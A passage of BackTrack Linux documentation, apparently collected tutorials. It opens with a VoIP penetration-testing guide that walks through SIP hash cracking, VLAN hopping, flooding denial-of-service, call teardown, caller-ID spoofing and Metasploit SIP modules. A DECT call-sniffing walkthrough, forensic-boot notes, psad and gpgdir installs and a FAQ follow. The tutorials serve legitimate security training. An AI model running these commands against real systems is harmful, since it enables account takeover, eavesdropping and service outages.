SIPDump will write the authentication challenge response to the specified file which looks as follows:""200"asterisk"REGISTER"sip :"44b80d16""""MD5"8edc2d549294f653507043 9fb069c968""200"asterisk"REGISTER"sip :"46cce857""""MD5"4dfc7515936a667565228d baa0293dfc""200"asterisk"REGISTER"sip :"2252e8fe""""MD5"5b895c6ae07ed839121211 9aab36f108

We will disscuss cracking these challenges in the attacking authentication chapter.

Attacking Authentication
SIP can be susceptible to 2 types of authentication attacks, before we take a look at these attacks types lets understand hows a SIP registration and authentication process takes place. SIP uses a digest authentication which is a mechanism that the HTTP protocol uses and known as HTTP digest. Because SIP is an ASCII based protocol the authentication details are hashed in order to prevent them to transport in clear text. When a SIP client (User Agent) wants to authenticate with a SIP server, the server generates and sends a digest challenge to the client, it contains the following parameters:

Realm - used to identify credentials within as SIP message, usually it is the sip domain. Nonce - this is an md5 unique string which is generated by the server for each registration

request it is made from a time stamp and a secret phrase to ensure it has a limited lifetime and could be not be used again. Once the client receives the digest challenge and the user enters his credentials the client uses the nonce to generate a digest response and sends it back to the server.

With that said, lets try to crack the digest response in order to obtain a valid SIP account password.

Cracking SIP Digest response hashes

Backtrack provides a great tool called SIPCrack, We already discussed how to capture a valid SIP authentication digest response using SIPDump. SIPCrack can be found in

SIPCrack Usage:

root@bt:/pentest/voip/sipcrack# ./sipcrack SIPcrack 0.3 ( MaJoMu | ) ---------------------------------------Usage: sipcrack [OPTIONS] [ -s | -w ] = file containing logins sniffed by SIPdump Options: -s = use stdin for passwords

-w wordlist to try -p num passwords (for -w) heavily) * Either -w

= file containing all passwords = print cracking process every n (ATTENTION: slows down

or -s has to be given

SIPCrack can operate in two modes:

Dictionary attack STDIN

Dictionary attack
Backtrack provides some basic dictionaries which are located in:

But for the purpose of this article I will use another grate tool in backtrack called Crunch which is used to create custom dictionaries. Lets use crunch to create a six characters numeric dictionary Crunch is located in:


Crunch Usage:

usage: crunch [-f /path/to/charset.lst charsetname] [-o wordlist.txt] [-t [FIXED]@@@@] [-s startblock] [-c number]

For detailed crunch usage check its manual:

root@bt:/pentest/passwords/crunch# man crunch

Creating a six chars numeric dictionary:

root@bt:/pentest/passwords/crunch# ./crunch 6 6 f charset.lst numeric -o /pentest/voip/sipcrack/sipass.txt Crunch will now generate 7000000 bytes of data Crunch will now generate 6 MB of data Crunch will now generate 0 GB of data 100%

We will use a previously captured sip credentials stored by SIPDump in the auth.txt file ans sipass.txt as the dictionary (which we created using crunch) Cracking the Digest Response:

root@bt:/pentest/voip/sipcrack# ./sipcrack -w sipass.txt auth.txt SIPcrack 0.3 ( MaJoMu | ) ---------------------------------------* Found Accounts: Num Server Client User Hash|Password 1 200 3a33e768ed6f630347f4b511371926bd * Select which entry to crack (1 - 1): 1 * Generating static MD5 hash... 0a84f78fde66bb15197eab961462dc2f * Starting bruteforce against user '200' (MD5: '3a33e768ed6f630347f4b511371926bd') * Loaded wordlist: 'sipass.txt'

* Starting bruteforce against user '200' (MD5: '3a33e768ed6f630347f4b511371926bd') * Tried 123457 passwords in 0 seconds * Found password: '123456' * Updating dump file 'auth.txt'... done

Brute Force attack using John The Ripper

For this attack mode we will be using John the ripper to redirect johns output into the FIFO file which well feed into SIPCrack. Creating a FIFO file:
root@bt:/tmp# mkfifo sipcrack

Generating passwords using john and redirecting the output to our FIFO file, for this example we will generate up to 6 digits only.

root@bt:~# john [*] This script will take you to /pentest/passwords/jtr/ [*] From there, run ./john root@bt:/pentest/passwords/jtr# ./john -incremental=digits stdout=6 > /tmp/sipcrack

Using our FIFO file to crack the password:

root@bt:/pentest/voip/sipcrack# ./sipcrack -w /tmp/sipcrack auth.txt SIPcrack 0.3 ( MaJoMu | ) ---------------------------------------* Found Accounts:

Num Server Client User Hash|Password 1 200 8edc2d549294f6535070439fb069c968 * Select which entry to crack (1 - 1): 1 * Generating static MD5 hash... 0a84f78fde66bb15197eab961462dc2f * Starting bruteforce against user '200' (MD5: '8edc2d549294f6535070439fb069c968') * Loaded wordlist: '/tmp/sipcrack' * Starting bruteforce against user '200' (MD5: '8edc2d549294f6535070439fb069c968') * Tried 3 passwords in 0 seconds * Found password: '123456' * Updating dump file 'auth.txt'... done

Brute forcing SIP Accounts

We can use svcrack which is a part of the sipvicious tools suite to brute force sip accounts A single SIP account dictionary attack (You can add a -v or vv for verbosity):
root@bt:/pentest/voip/sipvicious# ./ u200 -d wordlist.txt | Extension | Password | -----------------------| 200 | 123456 |

A single SIP account brute forcing:

root@bt:/pentest/voip/sipvicious# ./ u200 -r100000-999999 | Extension | Password | -----------------------| 200 | 123456 |

Use ./svcrack h for all available arguments.

VLAN Hopping
Usually VoIP traffic is connected to a dedicated VLAN (Virtual LAN) as we saw in the topologies section. This means that we cannot intercept the VoIP traffic by sniffing and Arp poisoning. The reason for that is that a VLAN is like a separate network, it has its own broadcast domain and different IP range than the data network. VLAN hopping is a way to hop to another VLAN, lucky for us Backtrack includes the necessary tools to perform this attack. One common topology is where the IP Phone has a built-in Internal Switch, usually the pc is plugged into the phone pc socket and the phone is connected from its lan/sw socket to the network switch as follows:

A typical CISCO switch port configuration for VoIP will look something like:
Switch# conf t Enter configuration commands, one per line. End with CNTL/Z. Switch(config)#interface fastEthernet 0/1 Switch(config-if)#switchport mode access Switch(config-if)#switchport access vlan 10 Switch(config-if)#switchport voice vlan 20

The IP phone will be configured with the appropriate VLAN ID (20) and the PC data traffic will flow through VLAN 10. Before we begin hopping around we will have to enable support for the 802.1q protocol in Backtrack by typing:

root@bt:~# modprobe 8021q

VoIP Hopper
VoIP hopper is used to hop into voice Vlan by behaving like an IP phone; it supports specific switches and supports some IP phones models. It currently supports the brands like: Cisco, Avaya and Nortel. VoIP hopper was designed to run under Backtrack Linux and currently has the following features: DHCP Client, CDP Generator, MAC Address Spoofing and VLAN hopping. Voiphopper usage:
root@bt:/pentest/voip/voiphopper# ./voiphopper voiphopper -i <interface> -c {0|1|2} -a -n -v <VLANID> Please specify 1 base option mode: CDP Sniff Mode (-c 0) Example: voiphopper -i eth0 -c 0 CDP Spoof Mode with custom packet (-c 1): -D (Device ID) -P (Port ID) -C (Capabilities) -L (Platform) -S (Software) -U (Duplex) Example: voiphopper -i eth0 -c 1 -E 'SIP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S 'P003-08-8-00' -U 1 CDP Spoof Mode with pre-made packet (-c 2) Example: voiphopper -i eth0 -c 2 Avaya DHCP Option Mode (-a): Example: voiphopper -i eth0 -a VLAN Hop Mode (-v VLAN ID): Example: voiphopper -i eth0 -v 200 Nortel DHCP Option Mode (-n): Example: voiphopper -i eth0 -n

VoIP Hopper provides many modes for attack please use the h for detailed information.

Lets take a look at an example of sniffing for CDP and run a VLAN Hop into the Voice VLAN in a Cisco environment. Run VoIP Hopper on the Ethernet interface, in the following way:

root@bt:/pentest/voip/voiphopper# ./voiphopper -i eth0 -c 0

VoIP Hopper also allows one to VLAN Hop to an arbitrary VLAN, without sniffing for CDP. If you already know the Voice VLAN ID or would like to VLAN Hop into another VLAN just specify the vlan id.
root@bt:/pentest/voip/voiphopper# ./voiphopper -i eth0 -v 20 VoIP Hopper 1.00 Running in VLAN Hop mode ~ Trying to hop into VLAN 2 Added VLAN 20 to Interface eth0 Attempting dhcp request for new interface eth0.20 eth0.20 Link encap:Ethernet HWaddr 00:0c:29:84:98:b2 inet6 addr: fe80::20c:29ff:fe84:98b2/64 Scope:Link UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:9 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:2274 (2.2 KB)

ACE is another tool for vlan hopping very similar to Voiphopper in usage and include an option to discover also TFTP servers (configuration servers). ACE Usage:
root@bt:/pentest/voip/ace# ./ace ACE v1.0: Automated Corporate (Data) Enumerator Usage: ace [-i interface] [ -m mac address ] [ -t tftp server ip address | -c cdp mode | -v voice vlan id | -r vlan interface | -d verbose mode ] -i <interface> (Mandatory) Interface for sniffing/sending packets -m <mac address> (Mandatory) MAC address of the victim IP phone -t <tftp server ip> (Optional) tftp server ip address -c <cdp mode 0|1 > (Optional) 0 CDP sniff mode, 1 CDP spoof mode -v <voice vlan id> (Optional) Enter the voice vlan ID -r <vlan interface> (Optional) Removes the VLAN interface -d (Optional) Verbose | debug mode

You can manually add a vlan hop or use its discovery feature

Mode to specify the Voice VLAN ID Example: ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8E

Mode to auto-discover voice vlan ID in the listening mode for CDP Example: ace -i eth0 -c 0 -m 00:1E:F7:28:9C:8E Mode to auto-discover voice vlan ID in the spoofing mode for CDP Example: ace -i eth0 -c 1 -m 00:1E:F7:28:9C:8E

TIP: To view your MAC address in backtrack use:

root@bt:~# macchanger -s eth0

It doesnt matter if you used voiphopper or ace you can now intercept VoIP traffic with tools like ucsniff by specifying you newly created interface. For example:

root@bt:/pentest/voip/ucsniff# ucsniff -i eth0.20 // //

Denial Of Service
A denial of service attack on VoIP services can render it useless by causing an intentionally damage to the network and VoIP systems availability. This attack can occur on two levels, standard network dos attacks and VoIP specific dos attacks. Generally we will send tons of data by flooding the network to consume all its resources or a specific protocol in order to overwhelm it with tons of requests. Lets take a quick overview of the tools available in Backtrack

This tool can be used to flood a target with INVITE requests it can be used to target sip gateways/proxies and sip phones.
root@bt:/pentest/voip/inviteflood# ./inviteflood inviteflood - Version 2.0 June 09, 2006 Usage: Mandatory interface (e.g. eth0) target user (e.g. "" or john.doe or 5000 or "1+210-555-1212") target domain (e.g. or an IPv4 address) IPv4 addr of flood target (ddd.ddd.ddd.ddd) flood stage (i.e. number of packets) Optional -a flood tool "From:" alias (e.g. jane.doe) -i IPv4 source IP address [default is IP address of interface] -S srcPort (0 - 65535) [default is wellknown discard port 9]

-D destPort (0 - 65535) [default is wellknown SIP port 5060] -l lineString line used by SNOM [default is blank] -s sleep time btwn INVITE msgs (usec) -h help - print this usage -v verbose output mode

A basic usage syntax looks like this:

./inviteflood eth0 target_extension target_domain target_ip number_of_packets

As long the tool keeps flooding the sip gateway it will prevent users from making phone calls. You can flood the sip proxy with an inexistent extension thus making it generating a 404 not found just to keep it busy.

Rtp flood is used to flood a target IP phone with a UDP packet contains a RTP data In order to launch a successful attack using rtpflood you will need know the RTP listening port on the remote device you want to

attack, for example; x-lite sofphone default rtp port is 8000.

root@bt:/pentest/voip/rtpflood# ./rtpflood usage: ./rtpflood sourcename destinationname srcport destport numpackets seqno timestamp SSID

IAXFlood is a tool for flooding the IAX2 protocol which is used by the Asterisk PBX.
root@bt:/pentest/voip/iaxflood# ./iaxflood usage: ./iaxflood sourcename destinationname numpackets

Teardown is used to terminate a call by sending a bye request
./teardown eth0 extension sip_proxy CallID FromTag ToTag

First you will need to capture a valid sip OK response and use its from and to tags and a valid caller id value.

SIP/2.0 200 OK Via: SIP/2.0/UDP;branch=z9hG4bKkfnyfaol;received=192 .168.1.105;rport=5060 From: "200" ;tag=hcykd To: "200" ;tag=as644fe807 Call-ID: jwtgckolqnoylqf@backtrack CSeq: 134 REGISTER User-Agent: Asterisk PBX Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Supported: replaces

Expires: 3600 Contact: ;expires=3600 Date: Tue, 01 Feb 2011 17:55:42 GMT Content-Length: 0

If you specify the -v option you can see the payload:

SIP PAYLOAD for packet: BYE sip:200@ SIP/2.0 Via: SIP/2.0/UDP;branch=91ca1ba598ee-44d5-9170-61c30981c565 From: <sip:>;tag=hcykd To: 200 <sip:200@>;tag=as644fe807 Call-ID: jwtgckolqnoylqf@backtrack CSeq: 2000000000 BYE Max-Forwards: 16 User-Agent: Hacker Content-Length: 0 Contact: <sip:>

Spoofing Caller ID
There are several methods for spoofing Caller ID which we wont discuss here because it requires a different set of tools and equipment which are irrelevant to this article

purpose. Spoofing Caller ID in SIP is fairly easy, you just need to change the SIP request INVITE from header.
INVITE sip:@ SIP/2.0 To: <sip:> Via: SIP/2.0/UDP From: "Evil Hacker" Call-ID: 14810.0.1.45 CSeq: 1 INVITE Max-Forwards: 20 Contact: <sip:>

We will take a look at a tool we have already discussed called Inviteflood which can be used to send spoofed invite requests.

root@bt:/pentest/voip/inviteflood# ./inviteflood eth0 201 1 -a "Backtrack"

Attacking VoIP Using Metasploit

The Metasploit framework includes several auxiliaries and modules dedicated for VoIP exploitation. You can find them by using the search function with keywords such as sip or voip. Lets Launch msfconsole and perform a search for available modules:
root@bt:~# msfconsole msf > search sip

Metasploit VoIP Modules

Heres a complete list of the available modules for you reference:

scanner/sip/enumerator - SIP Username Enumerator (UDP) scanner/sip/enumerator_tcp - SIP Username Enumerator (TCP) scanner/sip/options - SIP Endpoint Scanner (UDP)scanner/sip/options_tcp - SIP Endpoint Scanner (TCP) voip/sip_invite_spoof - SIP Invite Spoof

windows/sip/aim_triton_cseq - AIM Triton 1.0.4 CSeq Buffer Overflow windows/sip/sipxezphone_cseq SIPfoundry sipXezPhone 0.35a CSeq Field Overflow windows/sip/sipxphone_cseq - SIPfoundry sipXphone CSeq Buffer Overflow unix/webapp/trixbox_langchoice - Trixbox langChoice PHP Local File Inclusion

Scanning SIP Enabled Devices

Metasploit provides a sip scanner auxiliary which comes in two flavors TCP and UDP, we can use it to discover SIP enabled devices using the OPTION method: Lets see an example of the UDP version: scanner/sip/options auxiliary Auxiliary Options and Usage:
msf > use auxiliary/scanner/sip/options msf auxiliary(options) > show options Module options (auxiliary/scanner/sip/options): Name Current Setting Required Description ------------------ -------- ---------BATCHSIZE 256 yes The number of hosts to probe in each set CHOST no The local client address CPORT 5060 no The local client port RHOSTS yes The target address range or CIDR identifier

RPORT 5060 yes The target port THREADS 1 yes The number of concurrent threads TO nobody no The destination username to probe at each host msf auxiliary(options) > set RHOSTS RHOSTS => msf auxiliary(options) > run [*] 200 agent='Grandstream HT-502 V1.2A' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 200 agent='Grandstream HT-502 V1.2A' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 200 agent='Grandstream HT-502 V1.2A' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 200 agent='Grandstream HT-502 V1.2A' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 200 agent='Grandstream HT-502 V1.2A' verbs='INVITE, ACK, OPTIONS, CANCEL, BYE, SUBSCRIBE, NOTIFY, INFO, REFER, UPDATE' [*] 200 server='Asterisk PBX' verbs='INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO' [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed

Enumerating SIP extensions / Usernames

The scanner/sip/enumerator auxiliary can be used to discover valid SIP accounts, it supports two methods of discovery: OPTIONS and REGISTER, it also comes in two flavors TCP and UDP. Auxiliary options:

msf > use scanner/sip/enumerator msf auxiliary(enumerator) > show options Module options (auxiliary/scanner/sip/enumerator): Name Current Setting Required Description ------------------ -------- ---------BATCHSIZE 256 yes The number of hosts to probe in each set CHOST no The local client address CPORT 5060 no The local client port MAXEXT 9999 yes Ending extension METHOD REGISTER yes Enumeration method to use OPTIONS/REGISTER MINEXT 0 yes Starting extension PADLEN 4 yes Cero padding maximum length RHOSTS yes The target address range or CIDR identifier RPORT 5060 yes The target port THREADS 1 yes The number of concurrent threads

Example Usage:

msf auxiliary(enumerator) RHOSTS => msf auxiliary(enumerator) MINEXT => 100 msf auxiliary(enumerator) MAXEXT => 500 msf auxiliary(enumerator) PADLEN => 3 msf auxiliary(enumerator)

> set RHOSTS

> set MINEXT 100 > set MAXEXT 500 > set PADLEN 3 > run

[*] Found user: 200 <sip:200@> [Auth] [*] Found user: 201 <sip:201@> [Auth] [*] Found user: 202 <sip:202@> [Auth] [*] Found user: 203 <sip:203@> [Auth] [*] Found user: 204 <sip:204@> [Auth] [*] Found user: 300 <sip:300@> [Auth] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

Spoofing Caller ID auxiliary

The voip/sip_invite_spoof auxiliary will create a fake SIP invite request making the targeted device ring and display fake caller id information. Auxiliary Options:
msf > use voip/sip_invite_spoof msf auxiliary(sip_invite_spoof) > show options Module options (auxiliary/voip/sip_invite_spoof): Name Current Setting Required Description -------------------------------MSG The Metasploit has you yes spoofed caller id to send RHOSTS yes target address range or CIDR identifier RPORT 5060 yes target port SRCADDR yes sip address the spoofed call is coming from THREADS 1 yes number of concurrent threads

--The The The The The

Example Usage:

msf auxiliary(sip_invite_spoof) > set RHOSTS RHOSTS => msf auxiliary(sip_invite_spoof) > run [*] Sending Fake SIP Invite to: [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

Exploiting VoIP systems

Metasploit includes several exploits for sip client software and even for the Trixbox PBX web management interface. Although this is not a SIP specific vulnerability it is still related and can enable a full control by an attacker on a PBX.

Closing Words
I hope youve found this document informative, please keep in mind that Backtrack Linux provides many tools and features we havent covered here. Take the time to browse the tools read the manuals and READMEs I am sure youll find the right tool for the job. Feel free to discuss the tools and methods mentioned here in the Backtrack Linux Forums we would love to here your feedback ideas and experiences.

About The Author

Shai rod (aka @NightRang3r) is a full time Pen Tester at Avnet Information Security & Risk Management in Israel; He holds the Offensive security OSCP and OSCE certifications (among others) and manages his blog at

References l

What is DECT?

The problem?
Most vendors dont implement encryption in their devices so one can sniff it with certain hardware and software. For a previous post on the topic, check:

Tested on

BackTrack 5 final x86 KDE with kernel 2.6.38

Original Dosch&Amand Type II PCMCIA Card SIEMENS C1 DECT Phones set up in repeater mode

NOTE: This is experimental software which is not very actively supported anymore!

Installing dedected
In order to get dedected installed on BackTrack, you have the choice between: 1. Use dedected from the BackTrack 5 repositories. 2. Compile it on your own if you want to experiment.

Install from repository

root@bt:~# apt-get update root@bt:~# apt-get install dedected

Install from source

This stage is optional for those wanting to build the tools from source code.
root@bt:~# root@bt:~# root@bt:~# root@bt:~# root@bt:~# root@bt:~# root@bt:~# prepare-kernel-sources cd /usr/src/linux cp -rf include/generated/* include/linux/ cd /pentest/telephony svn co dedected_svn cd dedected_svn/com-on-air_cs-linux/ make && make -C tools

Install some additional tools

root@bt:~# apt-get -y install audacity

Load the drivers

root@bt:~# cd /pentest/telephony/dedected/com-on-air_cs-linux root@bt:~# make node

If you did not insert your Dosch&Amand Type 2 or Type 3 or Voo:doo # PCMCIA-card do so now! Next, we load the driver:

root@bt:~# make load

Scan for fixed parts a.k.a. fp (DECT base stations)

root@bt:~# cd /pentest/telephony/dedected/com-on-air_cs-linux/tools root@bt:~# ./dect_cli

If you need info on the usage type "help". If you live in the U.S. switch to the US/DECT 6 band via the "band" command. Let's enable someverbosity:

And start scanning for base stations:


After scanning 2-3 times through all channels disable verbosity, and stop scanning:
verb stop

Ignore phones you dont want to sniff (e.g. your neighbours!)

Start a callscan


Now grab your DECT handset and make a test phonecall and wait until you see the phonecall .It is also sufficient if you just get a dialing tone. You should see something like
### found new call on 00 82 31 33 73 on channel 7 RSSI 34 stop

Name your basestation if you want:

name 00 82 31 33 73 stallowned

Dump all found phones:


Ignore every other phone except yours via the following command! IMPORTANT!!!
ignore 01 30 95 13 37

Record the phone call

Start automaticially recording of every phone call it detects:

Now grab your DECT telephony handset and do a testcall. I recommend to call a time telling serivce that can be reached over a normal phone number. You should get something like this:
### ### ### ### ### ### ### starting autorec stopping DIP starting callscan trying to sync on 00 82 ab b0 29 got sync dumping to dump_2011-06-11_21_37_37_RFPI_00_82_ab_b0_29.pcap stopping DIP

After you hung up your phonecall the dumping should stop:

Decode the call out of the datastream

Stop the autorec:


Decode the audiostream out of the raw dump

root@bt:~# ./

Import the streams into audacity and listen to the calls

Start audacity via "alt + f2" then type audacity and press enter. Import the fixed-part and hte portable-part .wav files from /pentest/telephony/dedected/com-on-air_cs-linux/tools via

File -> Import -> Audio or simply "ctrl + shift + I" . Import the files which end in .pcap_fp.ima.g721.wav and .pcap_pp.ima.g721.wav. Play your phone call with the play button:

Hint: if you can only hear noise your phone seems to use some encoding/encryption. You can enable the repeater mode in your telephone so it disables encryption and you can test if your setup is working properly.

Clean up / Reload
If you need to reload the drivers
root@bt:~# cd /pentest/telephony/dedected/com-on-air_cs-linux root@bt:~# make reload

If youre finished and want to clean up:

root@bt:~# cd /pentest/telephony/dedected/com-on-air_cs-linux root@bt:~# make unload root@bt:~# rm /dev/coa

DECT protocol
If you are interested in more details of the protocol you can open the .pcap file in Wireshark:

Forensics Boot

Since BackTrack 4 and now BackTrack 5 you may have noticed that BackTrack has an option BackTrack Forensics but what exactly is that ?

LiveCD and Forensics

For a long time now, Linux Live CDs have been very useful for forensic acquisition purposes in instances where for one reason or another you cant utilize a hardware write blocker. When configured not to automount drives, and a little bit of know how, a Linux Live CD can be a wonderful software write blocker. For a Linux live CD to be considered for this purpose however, it is of the utmost importance that the use of the live CD in no way alters any data in any manner. That's the main reason that BackTrack was rolled out in the past, BackTrack would automount available drives and utilize swap partitions where available, by doing this BackTrack could have caused all sorts of havoc, changing last mount times, altering data on disk, and so on. But since BackTrack 4 and now BackTrack 5 that's not the case anymore.


So, lets have the scoop. Forensic people are often detail oriented and very conservative, so how do we know it is safe to use? Well, first off the BackTrack 5 Live CD is based off of Casper, and contains no filesystem automount scripts at all. The system initialization scripts have been altered in the forensic boot mode so that BackTrack 5 will not look for or make use of any swap partitions which are contained on the system. All those scripts have been removed from the system.


To test this functionality, we have tested this boot mode with multiple hardware configurations. For each test, we took a before MD5 snapshot of the system disks, booted BackTrack5 in forensic boot mode, verified no file systems were mounted and swap was not in use, did a number of activities on the system, then shut the system back down and took an after MD5 snapshot. In comparing the two MD5 snapshots, in every case they were a match, demonstrating no changes on the disks has been made.


When you utilize Backtrack for forensics purposes, be sure you dont let it go through an unattended boot. Default boot for Backtrack is standard boot mode, which will use swap partitions if they are present. There is a nice long delay however, so you will have plenty of time to select the proper boot mode. Also, please remember, this is a Linux distribution. It is highly suggested that you become familiar with Linux before use this, or any other Linux Live CD for any forensic purpose. Also, be sure to check out the additional forensic tools added to Backtrack 5. We have concentrated on the addition of imaging and triage tools, but if you find that one of your favorite utilities is not in place please let us know so we can look into having it added.

psad: Intrusion Detection and Log Analysis with iptables

What is PSAD? PSAD is a collection of three lightweight system daemons (two main daemons and one helper daemon) that run on Linux machines and analyze #iptables log messages to detect port scans and other suspicious traffic. A typical deployment is to run psad on the iptables firewall where it #has #the fastest access to log data. Installation Process:

Verify md5sum, and public key:

root@bt:~# cd /usr/local/src root@bt: /usr/local/src# wget root@bt: /usr/local/src# wget root@bt: /usr/local/src# wget root@bt: /usr/local/src# wget root@bt: /usr/local/src# md5sum -c psad-2.1.7.tar.bz2.md5 psad-2.1.7.tar.bz2: OK root@bt: /usr/local/src# gpg --import public_key root@bt: /usr/local/src# gpg --verify psad-2.1.7.tar.bz2.asc #gpg: Signature made Wed 14 Jul 2010 06:01:06 PM EDT using DSA key ID 0D3E7410 #gpg: Good signature from "Michael Rash (Signing key for projects) <>"

Install PSAD:

root@bt: /usr/local/src# tar xfj psad-2.1.7.tar.bz2 root@bt: /usr/local/src# cd psad-2.1.7 root@bt: /usr/local/src/psad-2.1.7# ./ # # Would you like to install the latest signatures from (y/n)? y

Start PSAD:

Notice you will get the following error:

root@bt:/usr/local/src/psad-2.1.7# /etc/init.d/psad start Starting psad: [*] Could not find mail, edit /etc/psad/psad.conf at /usr/sbin/psad line 9679.

To fix this we will need to edit psad.conf located in /etc/psad/ and add an email address as follows:

root@bt:/usr/local/src/psad-2.1.7# vim /etc/psad/psad.conf

gpgdir - Recursive directory encryption with GnuPG

What is gpgdir? gpgdir is a perl script that uses the CPAN GnuPG::Interface module to encrypt and decrypt directories using a gpg key specified in ~/.gpgdirrc. Installation Process:

Verify public key:

root@bt:~# cd /usr/local/src/ root@bt: /usr/local/src# mkdir gpgdir root@bt: /usr/local/src# cd gpgdir/ root@bt: /usr/local/src/gpgdir# wget root@bt: /usr/local/src/gpgdir# wget root@bt: /usr/local/src/gpgdir# wget

root@bt: /usr/local/src/gpgdir# gpg --import public_key root@bt: /usr/local/src/gpgdir# gpg --verify gpgdir-1.9.5.tar.bz2.asc

Install gpgdir:

root@bt: /usr/local/src/gpgdir# tar xfj gpgdir-1.9.5.tar.bz2 root@bt: /usr/local/src/gpgdir# cd gpgdir-1.9.5 root@bt: /usr/local/src/gpgdir/gpgdir-1.9.5# ./

Edit the config file to use the GnuPG default key:

root@bt: vim /usr/local/src/gpgdir

BackTrack Frequently Asked Questions Ive just installed BackTrack, what is the root password ?
The ubiquity installer uses the username "root" and toor password by default. We also recommend you change this as soon as you have rebooted and verified everything is working properly. You can do this by issuing the following command and following the prompts.
passwd root

Why does my keyboard stop working when I try to type the password ?
It doesn't, your keyboard is still working. When you type your password in BackTrack, nothing is shown on the screen. This is a security measure to prevent someone from "shoulder surfing" and being able to see how long your password is, thereby making it more difficult for someone who knows you to guess your password.

How do I start the GUI environment ?

After booting from DVD/USB or after logging in on a HDD install, type the following command


Is BackTrack free for download?

Yes, and it always will be.

Do you offer a 64bit or gnome versions of BackTrack?

Yes we now offer 64bit and 32bit ISO's, as well as support for ARM based mobile devices. Both 32bit and 64bit version come with either Gnome or KDE. You can also use Fluxbox as your WM.

Which version should I download ?

We recommend that you download BackTrack 5. We no longer support any other versions.

Ive just burned my iso and it will not boot ?

The 3 most common problems are the md5sum is wrong, the program you used to burn the .iso file or cheap media. Please check these three things before asking for help.

I use Windows and I do not want to mess it up?

Backtrack can be run as a live dvd environment which will not affect your Windows install in any way. If you run the installer and install to hard disk you are responsible for partitioning your drive properly and selecting the correct drive or partition. Guides on installation methods can be found on the Installation page. Please remember that incorrect selections can completely wipe your hard drive and potentially leave you without your original Windows/Linux installations ! Consider this as your only warning !

Ive heard its stupid to run as root ?

Many of the tools in Backtrack need root access to run. Backtrack is a specialized penetration testing distribution. We trust our users know the security risks of running as the root user.

Whats the perfect laptop to run backtrack on?

Every ones version of perfect is different. There is no perfect computer. Please check the forums where users post their thoughts on models of computers. Please remember to add yours to the list too

Where is the Backtrack manual ?

There is no manual. We do write official documentation on how to install Backtrack and how to use some of the more exotic tools, however, we do not write guides on hacking in general. We have aforum community and a wiki which both contain many user and dev team submitted tutorials. Please also remember to check the manual section of the website for more info on official documentation.

Do you offer any kind of official training ?

Check our Offensive Security Training website for the only official BackTrack Training.

Where can I find out more information about BackTrack ?

Keep updated with our blog, check our forums and check for BackTrack Fixes here.

Why cant I just add the Backtrack repositories to my Ubuntu install or the Ubuntu repositories to my Backtrack install ?
We highly recommend against this action because Backtrack tools are built with many custom features, libraries and kernel. We have no way of knowing how they will perform on a non Backtrack distribution, plus you will very quickly break your install. Also if you chose to add the ubuntu repositories to your Backtrack install, you will most certainly break your entire Backtrack install very quickly. We do a lot of testing to ensure that all packages in our repo will work together without causing problems. If you decide on this course of action you do so entirely at your own risk and the backtrack team will not offer any support in any way.

I want/need to rebuild the kernel, can you help me ?

Firstly it is very unlikely that you actually have a need to do this. Secondly if you need help in rebuilding the kernel, then you probably shouldn't be doing it in the first place. We do a lot of testing to ensure that all of the packages in our repo work with the kernel we supply and by using your own kernel we have no way of knowing what compatibility will break. We do not support this and will offer no help to those who choose to go ahead and rebuild the kernel. Sorry but if you still feel you want/need to rebuild the kernel for whatever reason, you are on your own. We do not support this and will offer no help or answer questions from those who choose to go ahead and rebuild the kernel.

Why dont my network cards show up when I boot ?

BackTrack is a penetration testing distribution and as such DHCP requests etc entering the network when you boot are usually very undesirable. You can easily enable networking by issuing the following command:
/etc/init.d/networking start

Why cant BackTrack use wireless card X inside VMWare or Virtualbox ?

Any virtualisation software can only use USB wireless network cards as physical devices, all other types of wireless card are seen as virtual ethernet devices and can only be seen as a wireless device by the host and not by the guest operating system. So if you want to run BackTrack in VMWare or Virtualbox and have full wireless capabilities, make sure you are using a USB device.

Why dont you provide a USB image like you did with previous versions ?
Previous versions required sometimes quite complicated methods to install to a USB stick, so for convenience we provided special images for easy installation. With the latest editions of BackTrack we have eliminated this need as it can easily be installed to a USB stick with tools such as Unetbootin or via manual methods as described in the Installation section of this site.

How do I contact you ?

To be honest, in the majority of cases you really don't need to. Firstly consider this, we each get hundreds of emails and Private Messages both on the forums and in our IRC channel every day. Almost all of these messages are from people asking simple questions that are either covered in this wiki, FAQ or on the forum itself. Almost every single one of those is a question that should be asked on the forum as it is either covered there, or the question and it's subsequent answer would be of benefit to the entire community rather than just the person asking it. Think of it this way, if you are asking this question, wouldn't it make sense that somebody else may have the same question or may have already asked it. The forum and wiki are valuable sources of information, and that information is only as good as the questions asked and the answers given. Secondly, all of the team are volunteers, none of us are paid to work on the project and all of us have lives, family, work etc etc outside of BackTrack. We all give our free time to the project and the more of that which is taken up answering these questions is less time we have to work on making BackTrack even better than it is. So in short, if your question falls into the description above, then it's in your interest not to email or send a Private Message. It will most likely just get ignored if it does fall into this category. However, if there is a something not covered by the above, then by all means do contact us. You can find all of the dev team in our IRC channel (remember we don't live there all the time), in the forums or contact details on the About page of the website.

Where is the IRC channel you are talking about ?

If you would like to join the community and contribute, visit us on, in channel #backtrack-linux. Our website will continue to be the main source for all news and updates regarding BackTrack. Be sure to see our channel rules read the channel topic and remember that you need to be registered to speak. Important: root ( *root*@* ) is banned by default on this channel, so please ensure you configure your irc client appropriately.

I'm new to linux, is BackTrack a good place to start ?

Sorry, the simple answer to that is no.

